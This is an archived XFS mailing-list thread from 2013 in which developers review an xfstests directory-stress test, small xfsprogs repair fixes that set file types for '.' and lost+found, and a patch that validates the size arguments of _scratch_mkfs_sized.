X-ASG-Debug-ID: 1379434015-04cb6c377729db50001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id fwVA8fCJtDkdT4Ep for ; Tue, 17 Sep 2013 09:06:55 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator.local (c-98-240-215-156.hsd1.mn.comcast.net [98.240.215.156]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 3D95C6052408; Tue, 17 Sep 2013 11:06:53 -0500 (CDT) Message-ID: <52387E1A.5020108@sandeen.net> Date: Tue, 17 Sep 2013 11:06:50 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130801 Thunderbird/17.0.8 MIME-Version: 1.0 To: Mark Tinguely CC: xfs@oss.sgi.com Subject: Re: [PATCH] xfstests: xfs directory unbalance assert test References: <20130917145946.124195107@sgi.com> <20130917145959.333796933@sgi.com> <52387831.5010205@sandeen.net> <52387C1B.6090203@sgi.com> X-ASG-Orig-Subj: Re: [PATCH] xfstests: xfs directory unbalance assert test In-Reply-To: <52387C1B.6090203@sgi.com> X-Enigmail-Version: 1.5.2 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1379434015 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140696 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 9/17/13 10:58 AM, Mark Tinguely wrote: > On 09/17/13 10:41, Eric Sandeen wrote: >> On 9/17/13 9:59 AM, Mark Tinguely wrote: >>> This tests triggers an assert in the XFS directory unbalance code. >>> This test originally written by Brian Foster and suggestions >>> from Micheal Semon. >> >> cool, thanks. Comments below. >> >>> Signed-off-by: Mark Tinguely >>> --- >>> tests/generic/319 | 62 ++++++++++++++++++++++++++++++++++++++++++++++++++ >>> tests/generic/319.out | 2 + >>> tests/generic/group | 1 >>> 3 files changed, 65 insertions(+) >>> >>> Index: b/tests/generic/319 >>> =================================================================== >>> --- /dev/null >>> +++ b/tests/generic/319 >>> @@ -0,0 +1,62 @@ >>> +#! /bin/bash >>> +# FS QA Test No. 319 >>> +# >>> +# Test directory code correctly handles fsstress filling the filesystem >>> +# >>> +#----------------------------------------------------------------------- >>> +# Copyright (c) 2013 SGI. All Rights Reserved. >>> +# >>> +# This program is free software; you can redistribute it and/or >>> +# modify it under the terms of the GNU General Public License as >>> +# published by the Free Software Foundation. >>> +# >>> +# This program is distributed in the hope that it would be useful, >>> +# but WITHOUT ANY WARRANTY; without even the implied warranty of >>> +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the >>> +# GNU General Public License for more details. >>> +# >>> +# You should have received a copy of the GNU General Public License >>> +# along with this program; if not, write the Free Software Foundation, >>> +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA >>> +#----------------------------------------------------------------------- >>> +# >>> + >>> +seq=`basename $0` >>> +seqres=$RESULT_DIR/$seq >>> +echo "QA output created by $seq" >>> + >>> +here=`pwd` >>> +tmp=/tmp/$$ >>> +status=1 # failure is the default! >>> +trap "_cleanup; exit \$status" 0 1 2 3 15 >>> + >>> +_cleanup() >>> +{ >>> + cd / >>> +} >> >> That seems pointless; usually it's done w/ rm -f $tmp.* >> right after, but we have no tmpfile, so... > > Yeah, no cleanup is needed. > >>> + >>> +# get standard environment, filters and checks >>> +. ./common/rc >>> +. ./common/filter >>> +_require_scratch >>> + >>> +# real QA test starts here >>> + >>> +_supported_fs generic >>> +_supported_os IRIX Linux >>> + >>> +_scratch_unmount> /dev/null 2>&1 >> >> Aside: >> >> I see this done both ways - is it required to unmount scratch at the beginning >> of a test? I don't think so (I know it's done in many tests, though, but >> again, C&P& cargo cult? Or not? I'm not sure :( ) >> >> I guess it doesn't hurt, but at some point I'd like to get it straight >> about who's required to umount scratch, and when (if at all). > > Have to unmount for the mkfs, as noted by Eryu, it is already done. I > would rather manually unmount it than be surprised when someone > changes the common files. If that happens, tons of tests will break. I'd really just remove it for clarity, but *shrug* >> >>> +_scratch_mkfs_sized 11g>> $seqres.full 2>&1 >> >> _scratch_mkfs_sized doesn't take units like this ('g'), so the above fails to >> actually make an 11g fs: >> >> # Create fs of certain size on scratch device >> # _scratch_mkfs_sized [optional blocksize] >> _scratch_mkfs_sized() >> >> so we get this in 319.full: >> >> expr: non-numeric argument >> ./common/rc: line 576: [: 11g: integer expression expected >> >> but then it seems like mkfs carries on anyway w/ defaults. :( >> >> Apparently the mkfs 11g part isn't actually critical? ;) > > it works on xfs because mkfs.xfs size can take those values, but yes it breaks on other filesystem. my bad. One other nitpick in this area, please remove $seqres.full before you start so it doesn't grow each time the test is run. (hm maybe we should add that to ./check or something; so many tests miss this) But - no, it doesn't work for xfs either, at least not in all cases, because it doesn't do the device size check. Here's xfs output on a < 11G device: expr: non-numeric argument ./common/rc: line 582: [: 11g: integer expression expected ** mkfs failed with extra mkfs options added to "-bsize=4096" by test 319 ** ** attempting to mkfs using only test 319 options: -d size=11g -b size=4096 ** size 11g specified for data subvolume is too large, maximum is 1048241 blocks Usage: mkfs.xfs /* blocksize */ [-b log=n|size=num] ... and w/o error checking (2>&1 and no || _fail) the test just carries on w/o a fresh mkfs, on whatever size it happens to be. -Eric From sandeen@redhat.com Tue Sep 17 11:57:02 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 1E22C7F37 for ; Tue, 17 Sep 2013 11:57:02 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 0AFBD304048 for ; Tue, 17 Sep 2013 09:57:01 -0700 (PDT) X-ASG-Debug-ID: 1379437020-04cbb02c3a10fef20001-w1Z2WR Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id MkUem6TXRVRCgR1l for ; Tue, 17 Sep 2013 09:57:01 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx02.intmail.prod.int.phx2.redhat.com (int-mx02.intmail.prod.int.phx2.redhat.com [10.5.11.12]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r8HGv0N5020213 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 17 Sep 2013 12:57:00 -0400 Received: from Liberator.local (ovpn01.gateway.prod.ext.phx2.redhat.com [10.5.9.1]) by int-mx02.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id r8HGuxoJ014756 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 17 Sep 2013 12:57:00 -0400 Message-ID: <523889DB.1000001@redhat.com> Date: Tue, 17 Sep 2013 11:56:59 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130801 Thunderbird/17.0.8 MIME-Version: 1.0 To: "'linux-xfs@oss.sgi.com'" Subject: [PATCH] xfsprogs: initialize filetype for xfs_name_dot X-Enigmail-Version: 1.5.2 X-ASG-Orig-Subj: [PATCH] xfsprogs: initialize filetype for xfs_name_dot Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.67 on 10.5.11.12 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1379437021 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 If we add the '.' entry in repair, make sure it has a file type initialized. Signed-off-by: Eric Sandeen --- diff --git a/repair/phase6.c b/repair/phase6.c index a4ad7a3..580dbf7 100644 --- a/repair/phase6.c +++ b/repair/phase6.c @@ -34,7 +34,9 @@ static struct cred zerocr; static struct fsxattr zerofsx; static xfs_ino_t orphanage_ino; -static struct xfs_name xfs_name_dot = {(unsigned char *)".", 1}; +static struct xfs_name xfs_name_dot = {(unsigned char *)".", + 1, + XFS_DIR3_FT_DIR}; /* * Data structures used to keep track of directories where the ".." From sandeen@sandeen.net Tue Sep 17 12:07:50 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 6CA007F37 for ; Tue, 17 Sep 2013 12:07:50 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 4B09B8F8068 for ; Tue, 17 Sep 2013 10:07:50 -0700 (PDT) X-ASG-Debug-ID: 1379437666-04cbb02c3a10ffd60001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id Y2jhAE2RjfgNkZh5 for ; Tue, 17 Sep 2013 10:07:46 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator.local (c-98-240-215-156.hsd1.mn.comcast.net [98.240.215.156]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 0B52F6052411 for ; Tue, 17 Sep 2013 12:07:45 -0500 (CDT) Message-ID: <52388C61.1000001@sandeen.net> Date: Tue, 17 Sep 2013 12:07:45 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130801 Thunderbird/17.0.8 MIME-Version: 1.0 To: xfs-oss Subject: [PATCH] xfsprogs: initialize filetype for lost+found creation X-Enigmail-Version: 1.5.2 X-ASG-Orig-Subj: [PATCH] xfsprogs: initialize filetype for lost+found creation Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1379437666 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140697 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- If we create lost+found make sure it's got the proper filetype. Signed-off-by: Eric Sandeen --- (sorry, untested, not sure how to force creation when I can't use xfs_db to craft a filesystem that needs lost+found) diff --git a/repair/phase6.c b/repair/phase6.c index a4ad7a3..946cb6d 100644 --- a/repair/phase6.c +++ b/repair/phase6.c @@ -904,6 +904,8 @@ mk_orphanage(xfs_mount_t *mp) xname.name = (unsigned char *)ORPHANAGE; xname.len = strlen(ORPHANAGE); + xname.type = XFS_DIR3_FT_DIR; + if (libxfs_dir_lookup(NULL, pip, &xname, &ino, NULL) == 0) return ino; From tinguely@eagdhcp-232-140.americas.sgi.com Tue Sep 17 14:25:37 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id D3E167F50 for ; Tue, 17 Sep 2013 14:25:37 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay2.corp.sgi.com (Postfix) with ESMTP id B8D5630404E for ; Tue, 17 Sep 2013 12:25:34 -0700 (PDT) Received: from eagdhcp-232-140.americas.sgi.com (localhost [127.0.0.1]) by eagdhcp-232-140.americas.sgi.com (8.14.5/8.14.5) with ESMTP id r8HJPYl0007053 for ; Tue, 17 Sep 2013 14:25:34 -0500 (CDT) (envelope-from tinguely@eagdhcp-232-140.americas.sgi.com) Received: (from tinguely@localhost) by eagdhcp-232-140.americas.sgi.com (8.14.5/8.14.5/Submit) id r8HJPYse007052; Tue, 17 Sep 2013 14:25:34 -0500 (CDT) (envelope-from tinguely) Message-Id: <20130917192538.230164044@sgi.com> User-Agent: quilt/0.51-1 Date: Tue, 17 Sep 2013 14:25:23 -0500 From: Mark Tinguely To: xfs@oss.sgi.com Subject: [PATCH] xfstests: v2 xfs directory unbalance assert test Content-Disposition: inline; filename=xfstests-v2-fill-directory.patch This tests triggers an assert in the XFS directory unbalance code. This test originally written by Brian Foster and suggestions from Micheal Semon. Signed-off-by: Mark Tinguely --- v1->v2: remove clean up. remove $seqres.full before test. remove scratch mount. 11g -> calculate 11g bytes. check for failing mkfs and mount. add a safer removal of the scratch files. put into auto group and "long" group so people can opt out: this test almost an hour on my test box. tests/generic/319 | 56 ++++++++++++++++++++++++++++++++++++++++++++++++++ tests/generic/319.out | 2 + tests/generic/group | 1 3 files changed, 59 insertions(+) Index: b/tests/generic/319 =================================================================== --- /dev/null +++ b/tests/generic/319 @@ -0,0 +1,56 @@ +#! /bin/bash +# FS QA Test No. 319 +# +# Test directory code correctly handles fsstress filling the filesystem +# +#----------------------------------------------------------------------- +# Copyright (c) 2013 SGI. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter +_require_scratch + +# real QA test starts here + +_supported_fs generic +_supported_os IRIX Linux + +rm -f $seqres.full +_scratch_mkfs_sized $((11 * 1024 * 1024 * 1024)) >> $seqres.full 2>&1 \ + || _fail "mkfs failed" +run_check _scratch_mount >> $seqres.full + +# Fill the filesystem. +FSSTRESS_ARGS="-z -s 1378390208 -fsymlink=1 -n7500000 -p4 -d $SCRATCH_MNT" +$FSSTRESS_PROG $FSSTRESS_ARGS >> $seqres.full 2>&1 + +# A debug XFS may assert in the remove due to a directory bug. +rm -rf $SCRATCH_MNT/p? +echo "--- silence is golden ---" +status=0 +exit Index: b/tests/generic/319.out =================================================================== --- /dev/null +++ b/tests/generic/319.out @@ -0,0 +1,2 @@ +QA output created by 319 +--- silence is golden --- Index: b/tests/generic/group =================================================================== --- a/tests/generic/group +++ b/tests/generic/group @@ -121,3 +121,4 @@ 316 auto quick 317 auto metadata quick 318 acl attr auto quick +319 auto stress long From sandeen@redhat.com Tue Sep 17 14:30:43 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id F035D7F56 for ; Tue, 17 Sep 2013 14:30:43 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id C9022304053 for ; Tue, 17 Sep 2013 12:30:43 -0700 (PDT) X-ASG-Debug-ID: 1379446242-04cbb02c3b110b640001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id asuF92XNc6HbKEoS for ; Tue, 17 Sep 2013 12:30:43 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r8HJUgam023637 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 17 Sep 2013 15:30:42 -0400 Received: from Liberator.local (ovpn01.gateway.prod.ext.phx2.redhat.com [10.5.9.1]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r8HJUfZN030180 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO) for ; Tue, 17 Sep 2013 15:30:42 -0400 Message-ID: <5238ADE1.5050204@redhat.com> Date: Tue, 17 Sep 2013 14:30:41 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130801 Thunderbird/17.0.8 MIME-Version: 1.0 To: xfs-oss Subject: [PATCH] xfstests: check for valid input to _scratch_mkfs_sized X-Enigmail-Version: 1.5.2 X-ASG-Orig-Subj: [PATCH] xfstests: check for valid input to _scratch_mkfs_sized Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1379446243 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 _scratch_mkfs_sized requires an integer number of bytes as input; if it's given something else, catch it and _notrun. Signed-off-by: Eric Sandeen --- diff --git a/common/rc b/common/rc index 77e96c4..6afc164 100644 --- a/common/rc +++ b/common/rc @@ -569,6 +569,15 @@ _scratch_mkfs_sized() fssize=$1 blocksize=$2 [ -z "$blocksize" ] && blocksize=4096 + + re='^[0-9]+$' + if ! [[ $fssize =~ $re ]] ; then + _notrun "error: _scratch_mkfs_sized: fs size \"$fssize\" not an integer." + fi + if ! [[ $blocksize =~ $re ]] ; then + _notrun "error: _scratch_mkfs_sized: block size \"$blocksize\" not an integer." + fi + blocks=`expr $fssize / $blocksize` if [ "$HOSTOS" == "Linux" ]; then From sandeen@sandeen.net Tue Sep 17 14:37:28 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 694E07F56 for ; Tue, 17 Sep 2013 14:37:28 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 2777D304059 for ; Tue, 17 Sep 2013 12:37:28 -0700 (PDT) X-ASG-Debug-ID: 1379446646-04bdf02f231152f70001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id IX9fTMZ9GFWVM9fR for ; Tue, 17 Sep 2013 12:37:26 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator.local (c-98-240-215-156.hsd1.mn.comcast.net [98.240.215.156]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 306FA60520C5; Tue, 17 Sep 2013 14:37:26 -0500 (CDT) Message-ID: <5238AF75.2020905@sandeen.net> Date: Tue, 17 Sep 2013 14:37:25 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130801 Thunderbird/17.0.8 MIME-Version: 1.0 To: Mark Tinguely CC: xfs@oss.sgi.com Subject: Re: [PATCH] xfstests: v2 xfs directory unbalance assert test References: <20130917192538.230164044@sgi.com> X-ASG-Orig-Subj: Re: [PATCH] xfstests: v2 xfs directory unbalance assert test In-Reply-To: <20130917192538.230164044@sgi.com> X-Enigmail-Version: 1.5.2 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1379446646 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140702 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 9/17/13 2:25 PM, Mark Tinguely wrote: > This tests triggers an assert in the XFS directory unbalance code. > This test originally written by Brian Foster and suggestions > from Micheal Semon. > > Signed-off-by: Mark Tinguely > --- > v1->v2: > remove clean up. > remove $seqres.full before test. > remove scratch mount. > 11g -> calculate 11g bytes. > check for failing mkfs and mount. > add a safer removal of the scratch files. > > put into auto group and "long" group so people can opt out: > this test almost an hour on my test box. Is there any way to do a more targeted test than 1hr of fsstress? :( (TBH I didn't follow the bug, so not sure what it takes to repro) Otherwise seems fine. Reviewed-by: Eric Sandeen > tests/generic/319 | 56 ++++++++++++++++++++++++++++++++++++++++++++++++++ > tests/generic/319.out | 2 + > tests/generic/group | 1 > 3 files changed, 59 insertions(+) > > Index: b/tests/generic/319 > =================================================================== > --- /dev/null > +++ b/tests/generic/319 > @@ -0,0 +1,56 @@ > +#! /bin/bash > +# FS QA Test No. 319 > +# > +# Test directory code correctly handles fsstress filling the filesystem > +# > +#----------------------------------------------------------------------- > +# Copyright (c) 2013 SGI. All Rights Reserved. > +# > +# This program is free software; you can redistribute it and/or > +# modify it under the terms of the GNU General Public License as > +# published by the Free Software Foundation. > +# > +# This program is distributed in the hope that it would be useful, > +# but WITHOUT ANY WARRANTY; without even the implied warranty of > +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the > +# GNU General Public License for more details. > +# > +# You should have received a copy of the GNU General Public License > +# along with this program; if not, write the Free Software Foundation, > +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA > +#----------------------------------------------------------------------- > +# > + > +seq=`basename $0` > +seqres=$RESULT_DIR/$seq > +echo "QA output created by $seq" > + > +here=`pwd` > +tmp=/tmp/$$ > +status=1 # failure is the default! > +trap "_cleanup; exit \$status" 0 1 2 3 15 > + > +# get standard environment, filters and checks > +. ./common/rc > +. ./common/filter > +_require_scratch > + > +# real QA test starts here > + > +_supported_fs generic > +_supported_os IRIX Linux > + > +rm -f $seqres.full > +_scratch_mkfs_sized $((11 * 1024 * 1024 * 1024)) >> $seqres.full 2>&1 \ > + || _fail "mkfs failed" > +run_check _scratch_mount >> $seqres.full > + > +# Fill the filesystem. > +FSSTRESS_ARGS="-z -s 1378390208 -fsymlink=1 -n7500000 -p4 -d $SCRATCH_MNT" > +$FSSTRESS_PROG $FSSTRESS_ARGS >> $seqres.full 2>&1 > + > +# A debug XFS may assert in the remove due to a directory bug. > +rm -rf $SCRATCH_MNT/p? > +echo "--- silence is golden ---" > +status=0 > +exit > Index: b/tests/generic/319.out > =================================================================== > --- /dev/null > +++ b/tests/generic/319.out > @@ -0,0 +1,2 @@ > +QA output created by 319 > +--- silence is golden --- > Index: b/tests/generic/group > =================================================================== > --- a/tests/generic/group > +++ b/tests/generic/group > @@ -121,3 +121,4 @@ > 316 auto quick > 317 auto metadata quick > 318 acl attr auto quick > +319 auto stress long > > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs > From tinguely@sgi.com Tue Sep 17 15:03:06 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 8BAAE7F55 for ; Tue, 17 Sep 2013 15:03:06 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id 5A2608F8073; Tue, 17 Sep 2013 13:03:03 -0700 (PDT) Message-ID: <5238B576.7080608@sgi.com> Date: Tue, 17 Sep 2013 15:03:02 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Eric Sandeen CC: xfs@oss.sgi.com Subject: Re: [PATCH] xfstests: v2 xfs directory unbalance assert test References: <20130917192538.230164044@sgi.com> <5238AF75.2020905@sandeen.net> In-Reply-To: <5238AF75.2020905@sandeen.net> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/17/13 14:37, Eric Sandeen wrote: > On 9/17/13 2:25 PM, Mark Tinguely wrote: >> This tests triggers an assert in the XFS directory unbalance code. >> This test originally written by Brian Foster and suggestions >> from Micheal Semon. >> >> Signed-off-by: Mark Tinguely >> --- >> v1->v2: >> remove clean up. >> remove $seqres.full before test. >> remove scratch mount. >> 11g -> calculate 11g bytes. >> check for failing mkfs and mount. >> add a safer removal of the scratch files. >> >> put into auto group and "long" group so people can opt out: >> this test almost an hour on my test box. > > Is there any way to do a more targeted test than 1hr of fsstress? :( No, I pruned the test down from a 5 hr test to 1 hr test. > > (TBH I didn't follow the bug, so not sure what it takes to repro) > > Otherwise seems fine. > > Reviewed-by: Eric Sandeen Thanks. --Mark. From tinguely@sgi.com Tue Sep 17 15:41:11 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 3153B7F5A for ; Tue, 17 Sep 2013 15:41:11 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay2.corp.sgi.com (Postfix) with ESMTP id E7758304059; Tue, 17 Sep 2013 13:41:07 -0700 (PDT) Message-ID: <5238BE63.8000405@sgi.com> Date: Tue, 17 Sep 2013 15:41:07 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Eric Sandeen CC: xfs-oss Subject: Re: [PATCH] xfstests: check for valid input to _scratch_mkfs_sized References: <5238ADE1.5050204@redhat.com> In-Reply-To: <5238ADE1.5050204@redhat.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/17/13 14:30, Eric Sandeen wrote: > _scratch_mkfs_sized requires an integer number of bytes > as input; if it's given something else, catch it and _notrun. > > Signed-off-by: Eric Sandeen > --- Ah, the "don't do what Mark did" patch. Reviewed-by: Mark Tinguely From david@fromorbit.com Tue Sep 17 16:11:12 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 5AE1E7F5E for ; Tue, 17 Sep 2013 16:11:12 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 2CC5F8F8087 for ; 